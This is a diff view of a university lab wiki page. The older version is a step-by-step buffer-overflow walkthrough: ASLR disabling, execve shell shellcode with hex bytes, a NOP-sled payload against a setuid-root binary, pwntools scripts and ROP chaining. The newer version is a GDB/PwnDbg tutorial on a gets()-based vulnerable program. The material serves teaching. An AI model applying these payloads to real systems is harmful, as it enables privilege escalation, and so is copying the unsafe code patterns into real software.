Differences

This shows you the differences between two versions of the page.

Link to this comparison view

isc:labs:06 [2022/04/11 11:10]
horia.stoenescu [Objectives]
isc:labs:06 [2024/04/09 20:48] (current)
alexandru.mircea98 [Reading and modifying memory]
Line 1: Line 1:
-/* ~~SHOWSOLUTION~~ */+===== Lab 06 - Application Security =====
  
-====== Lab 06 - Operating System Security ======+===== Resources ​=====
  
-===== Objectives ===== +   *[[https://​dhavalkapil.com/​blogs/​Buffer-Overflow-Exploit/​|Buffer overflow explained]] 
-  ​Linux Protection Mechanisms (ASLR) +   ​*[[https://​dhavalkapil.com/​blogs/​Shellcode-Injection/​|Shellcode explained]]
-  Return-oriented programming (ROPs) +
-  * Exploit mitigation +
-===== ASLR =====+
  
-Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries. +===== Setup =====
-In short, when ASLR is turned on, the addresses of the stack, etc will be randomized. This causes a lot of difficulty in predicting addresses while exploiting.+
  
-To disable ASLR: +  * Open a lab VM instance on [[https://cloud.grid.pub.ro|OpenStack]],​ image: **ISC 2023 rev 2**, flavor: **m1.medium**. 
-<​code>​ + 
-echo "​0"​ | [sudo] dd of=/proc/sys/​kernel/​randomize_va_space +  * Install the 32-bit **libc** and **gcc-multilib** packages:
-</​code>​+
  
-To enable ASLR: 
 <​code>​ <​code>​
-echo "​2"​ | [sudo] dd of=/​proc/​sys/​kernel/​randomize_va_space 
-</​code>​ 
  
-==== Shellcode Injection ====+sudo apt install libc6-dev-i386 gcc-multilib
  
-Scenario:+</​code>​
  
-You have access to a system with an executable binary that is owned by root, has the suid bit set, and is vulnerable to buffer overflow. This section will show you step by step how to exploit it to gain shell access.+  * Install ​the PwnDbg plugin:
  
-== 00. Setup == 
- 
-Install again ''​libc6-dev-i386''​ library: 
 <​code>​ <​code>​
-$ sudo apt install libc6-dev-i386+git clone https://​github.com/​pwndbg/​pwndbg 
 +cd pwndbg 
 +./setup.sh
 </​code>​ </​code>​
  
-We will also need gdb-peda, which will be installed later (see the [[https://​ocw.cs.pub.ro/​courses/​isc/​labs/​05?&#​setup|Setup]] from the latest lab).+To check if everything is OK, run the command ''​gdb''​ with no arguments. The prompt should ​be similar to this:
  
-Create a user test without root privileges: 
 <​code>​ <​code>​
-$ sudo useradd ​-m test -s /bin/bash +➜ gdb 
-$ sudo su test +GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 
-$ cd ~+... 
 +pwndbg>
 </​code>​ </​code>​
  
-Create ​''​vuln.c'' ​in the home directory ​for ''​test''​ usercontaining ​the following code:+Enter ''​q'' ​to exit GDB. We are using PwnDbg instead of the classic GDB because it is much more user friendly. Hope you'll like it ;) 
 + 
 +===== Overview ===== 
 + 
 +{{http://​i.imgur.com/​mK1nsNl.png}} 
 + 
 +<note tip> 
 + 
 +This representation of the stack is valid for 32 bit programs. The calling convention is to save the parameters on the stack. 
 + 
 +To find out what's different for a 64 bit program check this [[https://​www.systutorials.com/​x86-64-calling-convention-by-gcc/​|website]]. 
 + 
 +</​note>​ 
 + 
 +A buffer overflow occurs when data written to a buffer overruns its boundary and overwrites adjacent memory locationsdue to insufficient bounds checking. 
 + 
 +===== GDB tutorial ===== 
 + 
 +==== PwnDbg ==== 
 + 
 +==== Loading a program ==== 
 + 
 +In order to start debugging using GDB, you need to specify ​the program to be inspected. There are two options for doing this: 
 + 
 +  * When launching GDB: 
 <​code>​ <​code>​
-#include <​stdio.h>​ 
-#include <​string.h>​ 
  
-void func(char *name) +➜ gdb buggy
-+
-    char buf[100]; +
-    strcpy(buf, name); +
-    printf("​Welcome %s\n", buf); +
-}+
  
-int main(int argc, char *argv[]) 
-{ 
-    func(argv[1]);​ 
-    return 0; 
-} 
 </​code>​ </​code>​
  
-Compile it:+  * After launching GDB: 
 <​code>​ <​code>​
-gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack 
  
--fno-stack-protector - disable the stack protection +➜ gdb 
--m32 - make sure that the compiled binary is 32 bit +... 
--z execstack - makes the stack executable+pwndbg> file buggy 
 +Reading symbols from buggy... 
 </​code>​ </​code>​
  
-Set the suid bit and owner to root:+Once the debugging symbols from the executable were loaded, you can start executing your program using the ''​run''​ command. 
 <​code>​ <​code>​
-sudo chown root:test vuln + 
-sudo chmod 550 vuln +pwndbg> run 
-sudo chmod u+s vuln+
 </​code>​ </​code>​
  
-Turn off ASLR and then log into ''​test''​ user.+<note tip>
  
-== 01. Finding ​vulnerability ==+You do not need the specify the full command, GDB can fill in the rest of word in a command for you, if there is only one possibility. 
 + 
 +E.g.: ''​r'',​ ''​ru''​ and ''​run''​ are equivalent; ''​c'',​ ''​co'',​ ''​continue''​ are equivalent. 
 + 
 +</​note>​ 
 + 
 +In order to specify arguments for the debugged program, you can either: 
 + 
 +  * Specify them prior to starting the program:
  
-Disassemble using objdump in order to analyze the program: 
 <​code>​ <​code>​
-objdump -d -M intel vuln+ 
 +pwndbg> set args a b 
 </​code>​ </​code>​
  
-Looking at the disassembly of ''​func'',​ it can be observed that ''​buf''​ lies at ''​ebp - 0x6c''​. Hence, 108 bytes are allocated for ''​buf''​ in the stack, the next 4 bytes would be the saved ''​ebp''​ pointer of the previous stack frame, and the next 4 bytes will be the return address.+  * Specify them when starting ​the program:
  
-What happens if the program receives as argument a buffer containing 116 As? 
 <​code>​ <​code>​
-./vuln $(python -c 'print 116 * "​A"'​)+ 
 +pwndbg> run a b 
 </​code>​ </​code>​
  
-Use ''​gdb''​ to discover the address where the program is crashing. What do you observe? Why is this happening?+<note tip>
  
- ​**hint:​** ​You might need to re-install [[https://​github.com/​longld/​peda|PEDA]] as the ''​test'' ​user.+You do not need to specify the arguments each time: 
 +''​run''​ with no arguments uses the same arguments used by the previous ''​run'',​ or those set by the ''​set args'' ​command.
  
-== 02. Crafting Shellcode ==+</​note>​
  
-We will create a shellcode that spawns a shell. First create shellcode.asm with the following code:+==== Breakpoints ====
  
-<​code>​ +Breakpoints represent places in your program where the execution should be stopped. 
-xor     eax, eax    ;Clearing eax register +They are added using the [[https://visualgdb.com/gdbreference/commands/break|break]] command. Here are the most common usages: 
-push    eax         ;​Pushing NULL bytes + 
-push    0x68732f2f ​ ;​Pushing ​//sh +  * ''​break function''​ - Set a breakpoint at function entry. When using source languages that permit overloading of symbolssuch as C++, function may refer to more than one possible place to break. 
-push    0x6e69622f ​ ;​Pushing ​/bin + 
-mov     ebx, esp    ;ebx now has address of /bin//sh +  * ''​break linenum''​ - Set a breakpoint at line ''​linenum''​ in the current source file. The current source file is the last file whose source text was printed. The breakpoint will stop your program just before it executes any of the code on that line. 
-push    eax         ;​Pushing NULL byte + 
-mov     edxesp    ;edx now has address ​of NULL byte +  * ''​break filename:​linenum''​ - Set a breakpoint at line ''​linenum''​ in source file ''​filename''​. 
-push    ebx         ;​Pushing address ​of /bin//sh + 
-mov     ecx, esp    ;ecx now has address of address +  * ''​break filename:​func''​ - Set a breakpoint at entry of the function ''​func''​ found in file ''​filename''​. Specifying a file name as well as a function name is superfluous except when multiple files contain similarly named functions. 
-                    ;of /bin//sh byte + 
-mov     al, 11      ;syscall number ​of execve is 11 +  * ''​break *addr''​ - Set a breakpoint at address ​''​addr''​. You can use this to set breakpoints in parts of your program which do not have debugging information or source files. 
-int     ​0x80 ​       ;Make the system call + 
-</​code>​+You can see an overview ​of the current breakpoints using the ''​info break''​ command.
  
-Install nasm and compile shellcode using it: 
 <​code>​ <​code>​
-nasm -f elf shellcode.asm+ 
 +pwndbg> info b 
 +Num     ​Type ​          Disp Enb Address ​   What 
 +1       ​breakpoint ​    keep y   ​0x000011de in wanted at buggy.c:6 
 +2       ​breakpoint ​    keep y   ​0x00001229 in copy at buggy.c:​16 
 +3       ​breakpoint ​    keep y   ​0x00001281 in main at buggy.c:​22 
 </​code>​ </​code>​
  
-Use objdump ​to get the shellcode bytes:+<note tip> 
 + 
 +Short for ''​info break''​ is ''​i b''​. 
 + 
 +</​note>​ 
 + 
 +In order to remove breakpoints,​ you can use the ''​clear''​ or the ''​delete''​ (''​d''​) command. 
 +With the [[https://​visualgdb.com/​gdbreference/​commands/​clear|clear]] command you can delete breakpoints according to where they are in your program. 
 +With the [[https://​visualgdb.com/​gdbreference/​commands/​delete|delete]] command you can delete individual breakpoints by specifying their breakpoint numbers. 
 <​code>​ <​code>​
-objdump -d -M intel shellcode.o+ 
 +pwndbg> delete 2 
 +pwndbg> clear buggy.c:6 
 +Deleted breakpoint 1 
 </​code>​ </​code>​
  
-Extracting ​the bytes gives us the shellcode:+Once you want to resume execution, you can use the ''​continue''​ (''​c''​) command. 
 <​code>​ <​code>​
-\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80+ 
 +pwndbg> continue 
 +Continuing. 
 +... 
 +[Inferior 1 (process 11131) exited normally] 
 </​code>​ </​code>​
  
-== 03. Finding a possible place to inject shellcode ​==+==== Start ====
  
-In this example ​''​buf'' ​seems to be the perfect place to inject the shellcode above. We can insert the shellcode by passing it inside the first parameter while running ​''​vuln''​. But how do we know what address ''​buf''​ will be loaded in stack? That’s where ''​gdb''​ will help us. As ASLR is disabled we are sure that no matter how many times the binary is run, the address ​of ''​buf''​ will not change.+The ''​start'' ​command is very similar ​to ''​run''​, but instead of running ​the program until it ends (or until it crashes)it sets a breakpoint at the beginning ​of the main function.
  
-Run ''​vuln''​ using ''​gdb'':​ 
 <​code>​ <​code>​
-vampire@linux:/​home/​test$ gdb -q vuln 
-Reading symbols from vuln...(no debugging symbols found)...done. 
-(gdb) break func 
-Breakpoint 1 at 0x8048456 
-(gdb) run $(python -c 'print "​A"​*116'​) 
-Starting program: /​home/​test/​vuln $(python -c 'print "​A"​*116'​) 
  
-Breakpoint ​1, 0x08048456 in func () +22              if (argc == 1) { 
-(gdbprint $ebp +LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 
-$1 = (void *) 0xffffce78 +─────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────── 
-(gdbprint $ebp - 0x6c +*EAX  0xffffd880 ◂— 0x2 
-$2 = (void *) 0xffffce0c+*EBX  0x56558fcc ​(_GLOBAL_OFFSET_TABLE_◂— 0x3ed4 
 +*ECX  0xffffd880 ◂— 0x2 
 +*EDX  0xffffd8a0 —▸ 0xf7fa9000 ​(_GLOBAL_OFFSET_TABLE_◂— 0x229dac 
 +*EDI  0xf7ffcb80 ​(_rtld_global_ro) ◂— 0x0 
 +*ESI  0xffffd934 —▸ 0xffffdabd ◂— '/​home/​student/​appsec/​buggy'​ 
 +*EBP  0xffffd868 —▸ 0xf7ffd020 (_rtld_global—▸ 0xf7ffda40 —▸ 0x56555000 ◂— 0x464c457f 
 +*ESP  0xffffd850 —▸ 0xffffd890 —▸ 0xf7fa9000 ​(_GLOBAL_OFFSET_TABLE_◂— 0x229dac 
 +*EIP  0x56556281 (main+31) ◂— cmp dword ptr [eax], 1 
 +───────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────── 
 + ► 0x56556281 <​main+31> ​   cmp    dword ptr [eax], 1 
 +   ​0x56556284 <​main+34> ​   jne    main+61 ​                   <​main+61>​ 
 +    ↓ 
 +   ​0x5655629f <​main+61> ​   mov    dword ptr [ebp - 0xc], 0x796568 
 +   0x565562a6 <​main+68> ​   mov    eax, dword ptr [eax + 4] 
 +   ​0x565562a9 <​main+71> ​   add    eax, 4 
 +   ​0x565562ac <​main+74> ​   mov    eax, dword ptr [eax] 
 +   ​0x565562ae <​main+76> ​   sub    esp, 4 
 +   ​0x565562b1 <​main+79> ​   push   eax 
 +   ​0x565562b2 <​main+80> ​   lea    eax, [ebp - 0xc] 
 +   ​0x565562b5 <​main+83> ​   push   eax 
 +   ​0x565562b6 <​main+84> ​   lea    eax, [ebx - 0x1f6e] 
 +────────────────────────────────────────────[ SOURCE ​(CODE) ]──────────────────────────────────────────── 
 +In file: /​home/​student/​appsec/​buggy.c 
 +   ​17 ​        ​gets(name);​ 
 +   ​18 ​        ​printf("​bye\n"​);​ 
 +   19 } 
 +   20 
 +   21 int main(int argc, char **argv
 + ► 22         if (argc == 1) { 
 +   ​23 ​                ​puts("​Usage:​ %s <​name>​\n"​);​ 
 +   ​24 ​                ​return 1; 
 +   ​25 ​         } 
 +   ​26 ​        char buf[] = "​hey";​ 
 +   27 
 +────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────── 
 +00:0000│ esp 0xffffd850 —▸ 0xffffd890 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 
 +01:​0004│-014 0xffffd854 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ... 
 +02:​0008│-010 0xffffd858 —▸ 0xf7fbeb20 —▸ 0xf7d99cc6 ◂— '​GLIBC_PRIVATE'​ 
 +03:​000c│-00c 0xffffd85c ◂— 0x1 
 +04:​0010│-008 0xffffd860 —▸ 0xffffd880 ◂— 0x2 
 +05:​0014│-004 0xffffd864 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 
 +06:0018│ ebp 0xffffd868 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— 0x464c457f 
 +07:​001c│+004 0xffffd86c —▸ 0xf7da0519 (__libc_start_call_main+121) ◂— add esp, 0x10 
 +──────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────── 
 + ► 0 0x56556281 main+31 
 +   1 0xf7da0519 __libc_start_call_main+121 
 +   2 0xf7da05f3 __libc_start_main+147 
 +   3 0x565560cb _start+43 
 +───────────────────────────────────────────────────────────────────────────────────────────────────────── 
 </​code>​ </​code>​
  
-The above commands set breakpoint ​at the ''​func''​ function and the start the binary with a payload of length 116 as the argument. Printing the address ''​ebp - 0x6c''​ shows that ''​buf''​ was located at ''​0xffffce0c''​However this need not be the address of ''​buf''​ when we run the program outside of ''​gdb''​. This is because things like environment variables ​and the name of the program along with arguments are also pushed on the stackAlthough ​the stack starts at the same address (because of ASLR disabled), the difference in the method of running the program will result in the difference of the address of ''​buf''​This difference will be around a few bytesbut we will later demonstrate how to take care of it.+Let's take look at the previous output ​that PwnDbg printsYou can see it is seprated into 5 sections: REGISTERS, DISASM, SOURCE, STACK and TRACE. 
 +With the original GDB you would have to manually print registersdisassemble code and inspect ​the stackThanksGod, for PwnDbg!
  
-**Note**: The length of the payload will have an effect on the location of ''​buf''​ as the payload itself is also pushed on the stack (it is part of the arguments). We are using one of length 116, which will be the length of the final payload that we’ll be passing.+==== Step ====
  
-== 04. Transfering execution flow of the program ​to the inserted shellcode ==+There might be situations when you only want to execute one line of source code, or one machine instruction from your program
 +This action is called [[https://​sourceware.org/​gdb/​onlinedocs/​gdb/​Continuing-and-Stepping.html|step]] and can be categorized as follows:
  
-This is the easiest part. We have the shellcode in memory and know its address (with an error of a few bytes). We have already found out that ''​vuln'' ​is vulnerable to buffer overflow and we can modify the return address for function ​''​func''​.+  * ''​step'' ​or ''​s'' ​(step into) - Continue running your program until control reaches a different source line, then stop it and return control to GDB. If the line you are stepping over represents a function call, this command will step inside it.
  
-== 05Crafting payload ==+  * ''​next''​ or ''​n''​ (step over) - Continue to the next source line in the current stack frame. This is similar to step, but function calls that appear within the line of code are executed without stopping.
  
-Let’s insert ​the shellcode at the end of the argument string so its address is equal to the address of buf + some lengthHere’s our shellcode:​ +There are also equivalent functions for the machine instructions:​ ''​stepi''​ and ''​nexti''​.
-<​code>​ +
-\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 +
-</​code>​ +
-Length of shellcode = 25 bytes+
  
-We also discovered that return address starts after the first 112 bytes of ''​buf''​.+If you stepped into a function and you want to continue ​the execution until the function returns, you can use the ''​finish''​ or ''​f'' ​(step out) command.
  
-We’ll fill the first 40 bytes with NOP instructions,​ constructing a NOP Sled.+==== Printing variables and memory ====
  
-**NOP Sled** is a sequence of NOP (no-operation) instructions meant to “slide” the CPU’s instruction execution flow to its finaldesired, destination whenever the program branches ​to a memory address anywhere on the sled. Basically, whenever the CPU sees NOP instruction,​ it slides down to the next instruction.+No need to manually print registers anymorebut you still might need to print the content of variable:
  
-The reason for inserting a NOP sled before the shellcode is that now we can transfer execution flow to anyplace within these 40 bytes. The processor will keep on executing the NOP instructions until it finds the shellcode. We need not know the exact address of the shellcode. This takes care of the earlier mentioned problem of not knowing the address of buf exactly. 
- 
-We will make the processor jump to the address of ''​buf''​ (taken from gdb’s output) + 20 bytes to get somewhere in the middle of the NOP sled. 
 <​code>​ <​code>​
-0xffffce0c + 20 = 0xffffce20 
-</​code>​ 
-We can fill the rest 47 (112 - 25 - 40) bytes with random data, say the ‘A’ character. 
  
-Final payload structure:​ +pwndbgprint argc 
-<code+$1 = 2 
-[40 bytes of NOP - sled] [25 bytes of shellcode] [47 times ‘A’ will occupy 49 bytes] [4 bytes pointing in the middle of the NOP - sled: 0xffffce20]+
 </​code>​ </​code>​
  
-== 06. Running ​the exploit ==+The ''​print''​ or ''​p''​ command allows you to specify ​the format of the output like this (you can find a full list of possible format specifiers [[https://​ftp.gnu.org/​old-gnu/​Manuals/​gdb/​html_chapter/​gdb_9.html#​SEC55|here]]):​
  
 <​code>​ <​code>​
-test@linux ~ $ ./vuln $(python -c 'print "​\x90"​*40 + "​\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"​ + "​A"​*47 + "​\x20\xce\xff\xff"'​) 
-Welcome ����������������������������������������j 
-                            X�Rhn/​shh//​bi��RS��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4��� 
-# whoami 
-test 
-</​code>​ 
  
-Congratulations! You’ve got root access.+pwndbg> p/x $esp 
 +$1 = 0xffffd860
  
-<note important+pwndbgx/2x 0xffffd860 
-In case of segmentation fault, try changing the return address by +40 a few times.+0xffffd860: ​    ​0xffffd8a0 ​     0xf7fbe66c 
 + 
 +pwndbg> p/d $esp 
 +$2 = -10144 
 + 
 +pwndbg> p/s buf 
 +$3 = "​hey"​ 
 + 
 +pwndbg> p/x buf 
 +$4 = {0x68, 0x65, 0x79, 0x0}
  
-If it still won't work, the easiest solution is to dump the stack address from the program: <code c> 
-// insert this at the beginning of `func`: 
-printf("​Stack addr: %04X\n",​ &buf); 
 </​code>​ </​code>​
-Note that this trick may seem artificial but, in real-world exploits, if the attacker can convince the program to print its stack (e.g., from an error handler), then he can easily calculate the relevant address offsets. 
-</​note>​ 
  
-== 07. What if we enable ASLR? ==+==== Reading and modifying memory ====
  
-Try to enable ASLR and re-run ​the exploitWhat happens?+You can use the command ''​x''​ (for **examine**) to examine memory in several formats, independently of your program'​s data types.
  
-== 08. [Bonus] Pwntools scripts ==+<​code>​
  
-If you want have a cleaner way to exploit binaries you can use a python script with pwntools package. ​+pwndbg> x/nfu addr
  
-See on this [[https://​docs.pwntools.com/​en/​stable/​install.html|link]] how to install pwntools package (be patient, the installation might take some minutes :) ).+</code>
  
-Here is a sample solution ​you can complete to get to the same result as aboveYou will need to disable ASLR again.+''​n'',​ ''​f'',​ and ''​u''​ are all optional parameters that specify how much memory to display and how to format it. 
 + 
 +''​addr'' ​is an expression giving the address where you want to start displaying memory. 
 + 
 +  * **n** - The repeat count is a decimal integer; ​the default is 1It specifies how much memory (counting by units **u**) ​to display. 
 +  * **f** - The display format is one of the formats used by print. 
 +  * **u** - The unit size is any of ''​b''​ (bytes), ''​h''​ (halfwords),​ ''​w''​ (words) 
 + 
 +E.g.: Print 10 words in hexadecimal format, starting from the address of the current stack pointer.
  
-<spoiler For python2: > 
 <​code>​ <​code>​
-from pwn import * 
  
-context.log_level = '​info'​+pwndbg> x/10wx $esp 
 +0xffffd850: ​    ​0xffffd890 ​     0xf7fbe66c ​     0xf7fbeb20 ​     0x00796568 
 +0xffffd860: ​    ​0xffffd880 ​     0xf7fa9000 ​     0xf7ffd020 ​     0xf7da0519 
 +0xffffd870: ​    ​0xffffdabd ​     0x00000070
  
-BIN = "./vuln"​ +</code>
-context.binary = BIN+
  
-size = 112 +In order to change the value of a variable or of a specific memory area, you can use the ''​set''​ command:
-offset = 0 +
-shellcode = ""​ +
-buf_start_addr = 0x0 # put your value here ex0xffffd12c +
-padding = size - len(shellcode) - offset ​+
  
-# p32 is used to pack our adress and make it just fit for use in our payload +<code>
-# ex 0xffffd12c =\x2c\xd1\xff\xff  +
-payload = "​\x90"​ * offset + shellcode + "​A"​ * padding + p32(buf_start_addr)+
  
-print(payload)+pwndbg> set g = 4 
 +pwndbg> set {int}0xffffd890 = 4
  
-#we use process to launch our target we can specify other args or set target to remote +</​code>​ 
-io process([BINpayload])+ 
 +==== Stack info ==== 
 + 
 +A backtrace is a summary of how your program got where it is. It shows one line per frame, for many frames, starting with the currently executing frame (frame zero)followed by its caller (frame one), and on up the stack. 
 + 
 +''​backtrace''​ or ''​bt''​ - Print a backtrace of the entire stack: one line per frame for all frames in the stack.
  
-#use this to avoid terminating connection (usefull when trying to get shell) +E.g.:
-io.interactive() +
-</​code>​  +
-</​spoiler>​+
  
-<spoiler And for python3: > 
 <​code>​ <​code>​
-from pwn import * 
-import sys 
  
-context.log_level ​'​info'​+pwndbg> backtrace 
 +#0  copy () at buggy.c:16 
 +#1  0x565562ca in main (argc=2, argv=0xffffd934) at buggy.c:​29 
 +#2  0xf7da0519 in ?? () 
 +Backtrace stopped: previous frame inner to this frame (corrupt stack?)
  
-BIN = "./vuln"​ +</code>
-context.binary = BIN+
  
 +It is also possible to move up or down the stack using the following commands:
  
-size = 112 +  * ''​up n'' ​Move **n** frames up the stack. For positive numbers **n**, this advances toward the outermost frame, to higher frame numbers, to frames that have existed longer. **n** defaults to one.
-offset = 0 +
-shellcode = b""​ +
-buf_start_addr = 0x0 # put your value here ex: 0xffffd12c +
-padding = size len(shellcode) - offset ​+
  
-# p32 is used to pack our adress and make it just fit for use in our payload +  * ''​down n''​ - Move **n** frames down the stack. For positive numbers **n**, this advances toward the innermost frame, ​to lower frame numbers, to frames that were created more recently. ​**n** defaults to one.
-# ex 0xffffd12c => \x2c\xd1\xff\xff  +
-payload = b"​\x90" ​offset + shellcode + b"​A" ​padding + p32(buf_start_addr)+
  
-print(len(payload)) +Another useful command for printing information related to the current stack frame is ''​info frame''​This command prints a verbose description of the selected stack frame, including:
-sys.stdout.buffer.write(payload)+
  
-#we use process to launch our target we can specify other args or set target to remote +  * the address of the frame
-# io = remote('<​ip>',​ <​port>​) +
-io = process([BIN,​ payload])+
  
-#use this to avoid terminating connection (usefull when trying to get shell) +  * the address of the next frame down (called by this frame)
-io.interactive() +
-</​code>​ +
-</​spoiler>​+
  
-==== Summary ====+  * the address of the next frame up (caller of this frame)
  
-To summarize, we overflowed ​the buffer and modified the return address to point near the start of the buffer ​in the stack. The buffer itself started with a NOP sled followed by shellcode ​which got executed. The atack was successful only with ASLR turned off, as the start of the stack wasn’t randomized each time the program was executed. This enabled us to first run the program in gdb to know the address of buffer.+  * the language ​in which the source code corresponding ​to this frame is written
  
-==== Return-oriented programming (ROP) ====+  * the address of the frame'​s arguments
  
-== 09. Chaining functions ==+  * the address of the frame'​s local variables
  
 +  * the program counter saved in it (the address of execution in the caller frame)
  
-We got the following ​vulerable ​code:+  * which registers were saved in the frame 
 + 
 +==== Exercises ==== 
 + 
 +For exercises 02-04 do not quit GDB. 
 + 
 +=== 01. [5p] Our test program === 
 + 
 +Compile ​the following code: 
 + 
 +''​buggy.c''​
  
 <​code>​ <​code>​
-#include <​stdio.h>​ 
  
-void surprise(int b){ +#include <​stdio.h>​ 
-    if (b == 0x87654321) { +#include <​unistd.h>​ 
-        ​puts("​SURPRISE\n"​);​ +#include <​stdlib.h>​
-        system("/​bin/​sh"​);​ +
-    } else { +
-        puts("​Surprise found, but the arg is not the right one!"​);​ +
-    } +
-}+
  
-void secret(int a){ +void wanted(int a) { 
-    if (a == 0x12345678) { + if (a == 0xcafebabe) { 
- puts("​Nice! Nowcan you find the surprise?\n");+ puts("​well done, you're cool!");
  } else {  } else {
- puts("​Secret accessed, but the arg is not the right one!");+ puts("​at least you tried");
  }  }
 } }
  
-void run(){ +void copy() { 
-    char buf[32];+ char name[12];
  
-    ​printf("​Tell me your name"); + printf("​what's ur last name?\n"); 
-    ​fflush(stdout); + gets(name);
-    fgets(buf, 128, stdin); +
-    printf("​Hello,​ %s\n", buf);+
  
 + printf("​bye\n"​);​
 } }
  
-int main(){ +int main(int argc, char **argv) { 
-    ​run(); +  if (argc == 1) { 
-    return 0;+    ​puts("​Usage:​ %s <​name>​\n"​); 
 +    return ​1; 
 +  } 
 + char buf[] = "​hey";​ 
 + 
 + printf("​%s,​ %s\n", buf, argv[1]); 
 + copy(); 
 + 
 +  exit(0);
 } }
 +
 </​code>​ </​code>​
-And to compile it we use:+ 
 +Use this command: 
 <​code>​ <​code>​
-gcc rop.c -o vuln32 ​-fno-stack-protector -m32 -g -no-pie+ 
 +gcc buggy.c -o buggy -fno-stack-protector -m32 -g 
 </​code>​ </​code>​
  
-What we want to achieve is to call the secret() function first and then the surprise() function in a way that they don't interfere with each otherThe problem is that these functions require some arguments. So how can we do itgiven that the stack is full of other garbage?+=== 02[5p] Run, breakstep ===
  
-We use ROPs. In order to chain multiple function calls we need to arrange ​the stack to be fit for our next function. For this we need to artificially clean the stack. We can do this by searching for a useful set of instruction pointers with ROPgadget (we'll get to that later)+Run the program using GDB, setting ​the argument ''​Florin'​'.
  
-<​note>​ +Set a breakpoint at the beginning ​of the ''​main'' ​function.
-In our particular example, we suppose we accessed ​the secret function and we want to jump to the next one so we need to eliminate the argument ​of the secret ​function ​from the top of the stack +
-</​note>​+
  
-In other words we need to pop the arg and then jump to the next function. We can search for a "pop <?​any>;​ ret" set of instructions. This is called a ROP gadget (install the package on VM using this [[https://​github.com/​JonathanSalwan/​ROPgadget#​install|link]] - **note**: skip python3-pip installation as it is already installed)We can find what is available in our program running:+Continue execution until you hit the breakpoint.
  
 +Try to reach the beginning of the ''​copy''​ function without setting another breakpoint.
 +
 +**Hint:** Use step over and step into.
 +
 +<​solution -hidden>
 <​code>​ <​code>​
-$ ROPgadget --binary vuln32 + 
-Gadgets information +➜ gdb buggy
-============================================================ +
-0x0804917a : adc al, 0x68 ; sub al, 0xc0 ; add al, 8 ; call eax +
-0x080491c6 : adc byte ptr [eax + 0x68], dl ; sub al, 0xc0 ; add al, 8 ; call edx +
-0x0804926c : adc byte ptr [eax - 0x3603a275],​ dl ; ret+
 ... ...
-0x0804926f : pop ebp ; cld ; leave ; ret +pwndbg> set args Florin 
-0x080493c3 : pop ebp ; ret                                     <​=== ​   //we look for sets like this +pwndbg> b main 
-0x080493c0 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret +pwndbg> r 
-0x08049022 ​pop ebx ; ret                                     <​=== ​   ​//or like this +Starting program: /home/student/​appsec/​buggy AAA
-0x080493c2 : pop edi ; pop ebp ; ret +
-0x080493c1 : pop esi ; pop edi ; pop ebp ; ret +
 ... ...
 +Breakpoint 1, main (argc=2, argv=0xffffd934) at buggy.c:22
 +22              if (argc == 1) {
 ... ...
 +pwndbg> n
 +26              char buf[] = "​hey";​
 +...
 +pwndbg> n
 +28              printf("​%s,​ %s\n", buf, argv[1]);
 +...
 +pwndbg> n
 +hey, Florin
 +29              copy();
 +...
 +pwndbg> s
 +copy () at buggy.c:16
 +16              printf("​what'​s ur last name?​\n"​);​
 +
 </​code>​ </​code>​
 +</​solution>​
 +
 +=== 03. [5p] Printing stuff ===
 +
 +Remove the existing breakpoint and set a new one at the beginning of the ''​copy''​ function.
 +
 +Run again the program and continue execution until you hit the breakpoint.
  
-This (code pointer to) rop gadget needs to be placed in the return ​address of the previous function ​(because it is executable) so that it cleans or place the arguments and finally jump to the next pieceIn this way we can consider our payload as a chain containing:+Print the value and the address of ''​name''​. Print the value again after ''​gets(name)'' ​is executed.
  
 +<​solution -hidden>
 <​code>​ <​code>​
-<padding until first return addr+ <chain+ <chain...+ 
 +pwndbgdel 1 
 +pwndbgb copy 
 +Breakpoint 2 at 0x1229: file buggy.c, line 16. 
 +pwndbgrun 
 +Starting program: /​home/​student/​appsec/​buggy AAA 
 +... 
 +hey, Florin 
 + 
 +Breakpoint 2, copy () at buggy.c:​16 
 +16              printf("​what'​s ur last name?​\n"​);​ 
 +... 
 +pwndbg> p name 
 +$1 = "​\000\000\000\000\231j\335\367\302bUV"​ 
 +pwndbg> p &name 
 +$2 = (char (*)[12]) 0xffffd834 
 +pwndbg> n 
 +what's ur last name? 
 +17              gets(name);​ 
 +... 
 +pwndbg> n 
 +parizer 
 +18              printf("​bye\n"​);​ 
 +... 
 +pwndbg> p name 
 +$3 = "​parizer\000\302bUV"​ 
 </​code>​ </​code>​
-And a chain piece would look like:+</​solution>​ 
 + 
 +=== 04. [5p] ASLR === 
 + 
 +Start the execution and print the address of ''​buf''​ from the main function, and then repeat. What do you notice? 
 + 
 +Check from GDB if ASLR is enabled. What happens and how can you fix it? 
 + 
 +**Hint:** [[http://​visualgdb.com/​gdbreference/​commands/​set_disable-randomization]]
  
 +<​solution -hidden>
 <​code>​ <​code>​
-<​address_of_function+ <ROP gadget+ <arg+ <arg> ...+ 
 +pwndbgstart 
 +22              if (argc == 1) { 
 +... 
 +pwndbgp &buf 
 +$4 = (char (*)[4]) 0xffffd86c 
